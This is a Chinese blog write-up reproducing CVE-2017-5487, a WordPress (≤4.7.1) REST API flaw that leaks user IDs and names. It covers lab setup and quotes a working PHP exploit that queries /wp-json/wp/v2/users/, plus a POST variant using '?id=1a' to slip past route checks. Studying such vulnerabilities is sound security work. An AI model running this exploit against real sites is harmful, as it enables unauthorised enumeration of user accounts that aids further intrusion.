zoukankan      html  css  js  c++  java
  • [CVE-2017-5487] WordPress <=4.7.1 REST API 内容注入漏洞分析与复现

    记录下自己的复现思路

    漏洞影响:

    未授权获取发布过文章的其他用户的用户名、id

    触发前提:wordpress配置REST API

    影响版本:<= 4.7

    0x01漏洞复现

    复现环境:

    1) Apache2.4  

    2) PHP 7.0  

    3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载)

      

    确认 Httpd-conf  Allowover All

     

    Exploit:

      https://www.exploit-db.com/exploits/41497/ 下载这里,修改箭头那里。

    #!usr/bin/php
    <?php
    
    #Author: Mateus a.k.a Dctor
    #fb: fb.com/hatbashbr/
    #E-mail: dctoralves@protonmail.ch
    #Site: https://mateuslino.tk 
    header ('Content-type: text/html; charset=UTF-8');
    
    
    $url= "http://localhost/wordpress-4.7.1/index.php";//
    $payload="wp-json/wp/v2/users/";
    $urli = file_get_contents($url.$payload);
    $json = json_decode($urli, true);
    if($json){
    	echo "*-----------------------------*
    ";
    foreach($json as $users){
    	echo "[*] ID :  |" .$users['id']     ."|
    ";
    	echo "[*] Name: |" .$users['name']   ."|
    ";
    	echo "[*] User :|" .$users['slug']   ."|
    ";
    	echo "
    ";
    }echo "*-----------------------------*";} 
    else{echo "[*] No user";}
    
    
    ?>
    

    漏洞复现:

    http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/

     

    Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断,返回ture,程序继续执行query,REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。 

    这里添加一个用户作为一个事例,再次执行exp。

    以下是漏洞证明,返回了用户id 、发布的文章消息以及一些其他内容。

     

     

     

    另外一种利用方法

    根据RESR APi文档,修改他的请求方式,以下利用post

     

    在路由查询的操作中,$_get和$_post值优先路由正则表达式生成的值。输入 ?id=1a忽略路由正则的限制,来传入我们自定义的不存在ID,返回rest_invalid。下面就是跟前面的get那样避开判断,执行查询。这里是update_item方法的请求。下图我们可以看到返回了id为1的内容。

     

     

     ref

    • http://blog.nsfocus.net/wordpress-user-enumeration-vulnerability-analysis/
    • https://www.seebug.org/vuldb/ssvid-92732
    • https://www.exploit-db.com/exploits/41497/?rss
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
    • https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60
  • 相关阅读:
    4. Qt的容器类
    hdu 4507 数位dp(求和,求平方和)
    MVC3和MVC4中CRUD操作
    SSL 中证书能否够使用IP而不是域名
    TinyXml快速入门(一)
    C++ TinyXml操作(含源码下载)
    Tinyxml 操作XML
    msxml 操作xml
    MFC中全局变量的定义及使用
    VC++中操作XMLWin32实例
  • 原文地址:https://www.cnblogs.com/adislj777/p/6980472.html
Copyright © 2011-2022 走看看